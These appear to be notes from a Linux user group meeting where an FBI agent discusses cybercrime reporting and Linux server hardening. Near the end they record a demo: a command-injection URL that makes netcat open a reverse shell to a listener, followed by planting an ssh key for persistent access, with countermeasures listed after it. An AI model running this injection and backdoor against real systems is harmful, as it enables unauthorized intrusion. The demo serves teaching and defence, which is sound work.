Server: Apache/2.0.55 (Ubuntu) PHP/4.4.2-1build1 mod_ssl/2.0.55 OpenSSL/0.9.8a
It was easy to tell this was going to be a popular meeting when 15 minutes before the scheduled starting time, the room was already filling up.
The first topic to come up was the Debian SSL key debacle. Loren gave his explanation of the situation, pointing out that the “random” seed was the pid number, which gave 16 bits of entropy at the most. This resulted in approximately 200,000 possible key pairs.
Andrew mentioned the Debian SSL key wiki which gives info on what is affected, and what action needs to be taken by users to fix the issue. Also pointed out was a site that put together a practical ssh attack using this vulnerability.
Denny Pettee got the meeting started by introducing our main speaker, joining us from the FBI Toledo Office. Our speaker has been a TALUG member for about a year, is a self proclaimed Linux enthusiast, has 8 years of IT experience (telecom, programming, system analysis), and has been a Special Agent with the FBI for 2 years.
Our speaker gave a brief overview of the presentation, saying that it had been split in two sections. First would be the FBI related, what they do with cyber crime etc… The second part of the presentation would be focused around Linux security.
As always, the notes below are a summary of the presentation. For more details, reference the presentation above.
The FBI works several areas of crime under their cyber programs:
Cyber terrorism threats
Threats to National Security
Criminal Hacking
Intellectual Property Rights
Innocent Images
Identity theft & Internet fraud
In 2005, the FBI survey of several thousand entities regarding incidents of unauthorized access to their computer systems. 63% believed that they had no unauthorized access. It was brought up that this may be naive, but it may depend on what the individual considers to be unauthorized access.
Many people are not familiar with US federal law. Depending on the circumstances, unauthorized access to a protected computer may be against the law, even if there is no data loss. Many survey respondents thought incidents were too small to bother reporting. Our speaker mentioned that this attitude can be frustrating to law enforcement, as the FBI builds a database of reported incidents, and the more info they have the more they can do.
Some companies have reasons for not reporting unauthorized access incidents. Public image is probably the biggest reason. For example, if you heard that <insert company here>'s on-line store/website was hacked and all user accounts and credit card info was compromised, would you use that site again? Security breaches could also be used by a competitor as an advertisement (here at company B we are much more secure than company A).
While the FBI can't make promises, they try to keep this type of information private. If the incident ends up in a civil suit, the information will have to be revealed to some extent.
The FBI has offices all across the country, so you should contact an office near your business. The Toledo office is a satellite of the Cleveland Division.
Some general guidelines on reporting incidents are:
Provide any information you know about the attack: how access was gained, level of access obtained, etc.
Do not contact perpetrator.
Do not reformat the box. Maintain business continuity, but save as much evidence as possible.
Don't use normal email accounts to report the attack, this email account may be compromised.
Track recovery cost: overtime, lost productivity, etc for restitution.
They will want to talk to someone who knows what happened, and someone who knows the network/system architecture. They will want to review the “best evidence” like drives and log files. Relevant log files go beyond the compromised box, and may include firewall, IDS, and DNS logs etc…
Take over your system.
Take data not relevant to the investigation (you decide what is relevant).
Share proprietary information with your competitors. (If the case goes to trial, a judge may have to decide what is revealed or not as part of discovery.)
Keep you informed of all aspects of the investigation. (This may include sensitive information regarding other victims.)
Provide information to the media.
You can get a job either as a “Special Agent” or as an analyst. They want people with 4 year degrees, and are typically interested in people with several years of work experience. Computer Science and Language skills are in high demand. Finally, you must be willing to move anywhere in the country.
For more details, see the overview of the FBI hiring process
Some of the most common attacks are:
Unpatched systems.
Social engineering (give password over phone, in email etc).
Weak passwords.
Vulnerable code.
Keep track of what you are doing and what your risks are.
What kind of target am I?
Direct target vs. target of opportunity.
Nothing to do with the government agency.
The CIA model is a three point analysis.
Confidentiality - What is the impact to my business if the data is leaked?
Integrity - What would happen if the data was altered, lost or destroyed?
Availability - What is the impact if customers/clients/coworkers can not access the system?
Any system on the Internet is vulnerable to attack.
If you don't need a service or program, turn it off
If users don't need access specific services or data, don't let them.
Patch
Reconnaissance. Use Google, nmap, or any other techniques to find certain systems with specific vulnerabilities.
Gaining access to the system. SQL injection, brute force, password grab, buffer overflow…
Privilege escalation. Now that you have access, can you escalate to root access? However, this is not needed for most acts of criminal activity these days. Ex: Forwarding spam through system.
Back Door. This can insure future access even after a patch is applied, or if passwords are changed.
Cover tracks. Editing log files, deleting bash histories etc.
Results. Whatever the reason for the attack was. Spam, DDOS, defacement, viruses, worms, trojans etc.
Network layer, firewall switches
Set firewalls to not only watch what is coming in, but what is going out.
Darknets. Monitoring areas of IP space that shouldn't have anything on them. Ex: If you use 10.0.1.x for desktops but only lease 1-100 in your DHCP server, anything you see on 101-254 is something worth evaluating.
Passwords, strength and enforcement
cracklib provides password strength checking and enforcement.
OS level vs application level.
Obscurity. Shouldn't be relied on, but can be a factor.
Change default usernames.
Run services on alternate ports. The only time any Internet service should be run on default port is when outside (client) access is required by people that would be significantly inconvenienced by a port change. Ex: port 80 is basically required for webservers, and 25 for mail servers.
Ssh should NEVER be run on port 22. See ssh honeypot study.
Don't advertise your system configurations in error messages (Apache, PHP etc).
Yes, obscurity is a factor. You should change default user names, and run services on alternate ports when possible. As mentioned before, by default many services will advertise what version or build they are. While this information might be nice for troubleshooting, it isn't something that should be given freely.
The default configuration for an Apache web server with PHP will have the following information in every HTTP header:
Server: Apache/2.0.55 (Ubuntu) PHP/4.4.2-1build1 mod_ssl/2.0.55 OpenSSL/0.9.8a
A mail servers SMTP banner will contain information such as:
220 mail.xyz.com ESMTP Postfix (2.4.7)
DNS servers can be queried for their version information:
query: dig @server version.bind chaos txt version.bind. 0 CH TXT "9.3.2"
Some of this information, specifically for email servers is required under an RFC, so not all of it can be changed.
This one is easy, you only need to make two changes to remove all advertisements. Apache uses ServerTokens allow the following information to be displayed:
Product only (apache)
Major (apache2)
Minor (Apache2, minor version number)
OS (Apache2, minor version number, operating system)
To change these, edit the apache2.conf file and change the ServerTokens variable to Prod.
ServerTokens Prod
Then edit the php.ini file and set expose_php to off
expose_php = off
The server banner (which shows up lots of places, including 404 errors) used to be:
Server: Apache/2.0.55 (Ubuntu) PHP/4.4.2-1build1 mod_ssl/2.0.55 OpenSSL/0.9.8a
And after changing apache2.conf and php.ini, it now is:
Server: Apache
This simple change limits the information potential malicious users have to exploit possible vulnerabilities.
Edit the main.cf file and set the variable stmpd_banner
smtpd_banner = $myhostname ESMTP
The server banner used to be:
220 mail.xyz.com ESMTP Postfix (2.4.7)
The server banner is now:
220 mail.xyz.com ESMTP
This limits info as much as you can without causing any compatibility problems with other mail servers.
This one is a little less official, we just blank the version variable. Edit the /etc/bind/named.conf.options file and set the variable version
version "";
Dig queries used to return:
version.bind. 0 CH TXT "9.3.2"
Dig queries now return:
version.bind. 0 CH TXT ""
The OpenSSH banner can not be modified without changing the source code and recompiling. However, we can move it to a nonstandard port. Moving from port 22 to a higher port will very significantly reduce the amount of scans you see.
Applications should be deployed in a minimalistic sense. You can prevent applications from starting by editing the rc#.d/ files, or you can use a command line tool like sysv-rc-conf to simplify the process. Better yet, remove the binaries if you do not need them.
One simple test you can perform to check what services are listening to which ports is the command netstat -lpn.
# netstat -lpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:54534 0.0.0.0:* LISTEN 2523/rpc.statd tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 2184/portmap tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 2481/inetd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2469/exim4 tcp6 0 0 :::80 :::* LISTEN 4038/apache2 tcp6 0 0 :::22 :::* LISTEN 2686/sshd udp 0 0 0.0.0.0:32768 0.0.0.0:* 2523/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 2671/dhclient3 udp 0 0 0.0.0.0:1003 0.0.0.0:* 2523/rpc.statd udp 0 0 0.0.0.0:111 0.0.0.0:* 2184/portmap Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node PID/Program name Path unix 2 [ ACC ] STREAM LISTENING 9210 4039/apache2 /var/run/apache2/cgisock.4038
The application approach to security can be summarized as follows:
Uninstall unused servers and services.
Uninstall unused tools that could be used if someone breaks in.
wget (download extra code)
curl (download extra code)
tftp (download extra code)
netcat (TCP/IP swiss army knife, useful in many attack vectors)
No service should be run as root.
Permissions for services should be restricted as much as possible.
Standard Unix file permissions cover three zones: user, group, global. Each area can be assigned combinations of read, write, and execute permissions.
Sometimes this is not enough granularity.
Example:
We created a user account to run the denyhosts intrusion prevention software. This software requires the ability to read the /var/log/auth.log file, which has 0640 permissions, owned by root with group adm.
We didn't want denyhosts to run as root, nor be a part of the adm group. With ACL's, we were able to give the denyhosts system account read-only access to this file:
setfacl -m u:denyhost:r /var/log/auth.log
To implement ACL's, you need three things:
Kernel support
Filesystem support
Filesystem mount option
The fstab entry needs the additional option: acl
# /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc defaults 0 0 /dev/hda1 / ext3 defaults,errors=remount-ro,acl 0 1
Then remount the filesystem.
chmod 700 /directory setfacl -m u:www:rx /directory
This command sets the file's acl for user www to rx for the directory. However, only for that one user. Another option can be added to recurse through directories.
Strong passwords are very important for server integrity, especially if remote logins are allowed via password authentication. There are two things that should be done.
Force password changes
passwd —maxdays 90 —warndays 80
Actively check for password strength
Install cracklib
Cracklib is a program that checks user passwords when the user sets (or changes) it. It can be set up to require minimum character links, or some level of complexity. It is a tool used to enforce password strength policy.
Specifically, cracklib plugs into pam and will runs scans, check lengths, and differences from the old password.
The consensus used to be that you should never write down your password. While this still holds true, nobody can memorize a large number of frequently changing complex passwords. Our speaker thought it was better to write down a unique complex password for each account/service, rather than memorizing fewer weaker passwords (and thus sharing passwords between services). Obviously, these passwords then need to be stored in a secure location.
For example, if you are using an open WiFi access point, passwords can be sniffed. So if you stop at Starbucks on the way to work to check the talug.org Joomla website, you shouldn't use the same password as your ssh login.
Linux provides two main tools for network security:
IPTables
Kernel layer
Filter connections based on rules you define
TCP Wrappers
User-space layer
Kernel level dynamic filtering based on hosts.deny and hosts.allow files.
There is a good chart in the presentation that goes over what IPTables does. Essentially, you define rules to sort connections.
| Table | What do I want to do |
| Chain | When do I want to do it |
Referencing the diagram in the presentation, the only areas we are concerned with for local host security are the input and output chains in the filter table. These are the packets coming in and going out.
| Filter table | Access control (allow, disallow). Log? |
| Mangle table | Do I want to tweak the packet in some way? TCP flags and packet marking for further processing in a later step. |
| nat | Network address translation (port redirection). |
| raw | More deep packet inspection. |
If want to configure the default policy as drop connections, this can easily be done in a few IPTables rules.
allow --state established, related allow <necessary service ports>
The related rule allows established connections to be allowed back in. This means that a web/ssh server does not need any open outbound ports. A webserver needs inbound port 80 to receive requests, and then anything outbound will be “related” to the inbound. Same for ssh but with port 22.
Another thing to keep in mind is to log dropped packets, so that you can see what is going on later.
TCP Wrappers utilize the files /etc/hosts.allow and /etc/hosts.deny to dynamically allow and deny network traffic.
The basic concept is that an "incoming connection" to a service that uses libwrap will be checked against these two files to determine whether to allow it or not.
This can be configured on a per daemon basis as well. One additional note is that you can allow/deny by username, but you should not trust it.
Using TCP Wrappers, each incoming connection on a supported service goes through three steps:
checks hosts.allow, if it matches for that service access is granted and stops.
checks hosts.deny, if it matches for that service, access is denied and stops.
If no match is found in either file, access is allowed.
So we need a catchall in hosts.deny to deny everything “else” Then set up hosts.allow to allow the things that we want.
If you trail something less that 4 octets with a dot, it uses a wild card. Ex: 192.168.1. would be everything local.
If this isn't feasible, you can do an "all except" line. This will allow all traffic, but you can “spawn” a process to send you an email notification. If you're running ssh on port 22, you will get a lot of email.
Denyhosts is a python script that parses the /var/log/auth.log logfile (or similar depending on distribution) and dynamically modifies hosts.deny to support active blocking. It also has a community blocklist that you can update to, potentially blocking attacks before they start.
Before you go all crazy running it, just think about what is going on first. We have a python script dynamically modifying security settings that it gets from another server (if you do the community blocklist). In other words DON'T RUN AS ROOT.
To see how to run denyhosts as a normal users, see the example in the presentation.
Don't use port 22. That is the most important thing you can do. Our speaker ran a data collection ssh honeypot on port 22 and had 10,00+ attempts in 25 days. During the same timeframe, there were zero attempts on an alternate port running SSH.
To read about specific options, see man sshd_config. A few of the important ones are:
Protocol 2 # use only protocol 2 permitrootlogin no # (default is yes, do not do this). allowusers <list of users> # Only these users can use ssh publickeyauthentication yes # Turn it off if you are not going to use it.
Our speaker set up a ssh honeypot to collect data on ssh attacks. The server listened on port 22, and the code was modified to reject all attempts but to log the time of login, username, and password given.
The top 10 combinations of username and passwords were:
danny danny admin admin adam adam mysql mysql test test web web alex alex test test123 michael michael info info
Just looking at usernames, the most common were:
root admin test user guest oracle mail master adam info
There was also an article posted to the lug that was essentially the same, but with more data analysis if you are interested.
There are several aspects of Apache that can be modified to make it more secure.
First, mod_rewrite gets every single http request that comes into the system passed through it. This can help block potential attack vectors. It is suggested to use mod_rewrite to block trace, delete, and track request methods, which should not be part of any valid http request.
Another key was to not allow Apache to serve the .bak files left from editing. These could expose the source of your page, and could expose vulnerabilities. You should redirect these requests to a 404 error.
You can also filter based on user agent string, and not allow things like wget or empty strings.
Also, mod_security can do some intrusion detection and prevention.
See the examples in the presentation.
You need to check input code through some sort of validation to make sure it is not susceptible to SQL or command injection.
Error messages: resist temptation to spill data on error messages. Hackers try to put nonsense data in, and then reverse engineer based on data spilled back. This can lead to Cross Site Scripting. Very dangerous to be verbose in error messages on a production server.
The default configuration of postfix is pretty decent. Be careful with subnet style mail relaying.
mynetworks_style=subnet # this is bad
If your box is facing the Internet on Buckeye, this means hundreds of buckeye IP's are in your subnet. Better to use:
mynetworks=192.168.0.0/24
Check Google for “postfix anti spam”
Check examples in presentation
Our speaker then did a demonstration of hacking an Ubuntu box via command injection in php.
For demo purposes, he crafted a php file, which will run any command you give it. He also set up netcat to on the client computer to listen.
nc -l -p 8000
Gave a command to webserver (in url bar) use netcat to connect back to the local listner.
http://10.0.1.10/vulnerablecode.php?cmd=/bin/nc%2010.0.1.20%208000%20-e%20/bin/sh &
This gave the local listener the ability to execute commands as the web server on the remote machine.
He then gave the commands:
mkdir ~/.ssh echo [rsa pub key] > .ssh/authorized_keys
Where [rsa pub key] is the public key for an RSA key pair created using ssh-keygen.
The the command:
ssh -i [rsa priv key file] www-user@10.0.1.10
And we're in.
What can be done to prevent this type of attack?
Check incoming requests for nc or netcat.
Could have uninstalled netcat. Do you need this on your server?
Could have blocked unnecessary outbound ports (inappropriate connection)
webservers don't typically need to initiate outbound connections (e.g. port 8000)
ssh allowusers
www-data should not be able to login via ssh
webserver should be able to read web directories and files, but should not be able to write (or create the .ssh directory).
What investigative options are available for the really big stuff like unauthorized bank transfers?
You can trace the IP, but it may lead to a bot infected computer if the attacker is sophisticated. You can also follow the money. If the banks are offshore, it helps if the the FBI can build a case with large amounts of data and personal losses.
How should incidents be reported?
Corporate incidents and large dollar losses should go to local FBI office. Smaller personal incidents should be reported at ic3.gov. If uncertain, call.
What can I do about stolen credit card info?
Call your bank first. Credit card companies and banks often do not investigate these crimes because it is cheaper to write off the loss. However, they should not hold you liable for the losses.
What about phone fishing for your identity, using pretexts such as debt consolidation?
The term vishing (voice fishing) is starting to be used for this activity. This should be reported via ic3
What is the best way to protect my financial identity?
Active monitoring of your credit report. You can pay somebody to do this as a service, or do it yourself. You are entitled to a free copy of your credit report once per year from each of the credit bureaus (Equifax, Experian, and TransUnion).
Is a default LAMP installation vulnerable to SQL injection?
Default LAMP installations will not be susceptible to SQL injection if they have no additional code on them (php, perl, python, etc.) running queries. As soon as you start using any code on the site to accept input and make queries, you need to take this seriously.
Can you set requirements for the length of time a user has to enter their password in ssh prompts?
You can't set a delay between consecutive characters entered for the password. The ssh client sends the entire password as one block. You can use denyhosts to help protect ssh servers using password logins.
How is wireless security these days?
WEP is totally compromised. WPA is pretty strong, but enterprise is better than PSK. The best testing and monitoring tools out there are open source, so don't buy anything.
Is there any way to do a one time password for ssh?
Yes there are a few solutions out there that work with linux, usually as plugable authentication modules (pam). Two solutions discussed:
Yubikey is a usb "keyboard" that issues a one time password for you.
Perfect Paper Passwords from GRC.
As a side note, the Iron key was mentioned, a usb memory stick that implements on device encryption.
I have some IDS logs files showing attempted attacks on my network. Do you want them?
Yes, probably. Talk to me afterwards.
What is InfraGard?
Side discussion: Infraguard is an alliance between the FBI and private sector. It fosters an environment of information sharing in regards to infrastructure protection. There is a local Toledo chapter. Some meeting are for members only and others are open to the public. Meetings include discussions and presentations on information and physical security topics.
How do I get hired by the FBI?
See below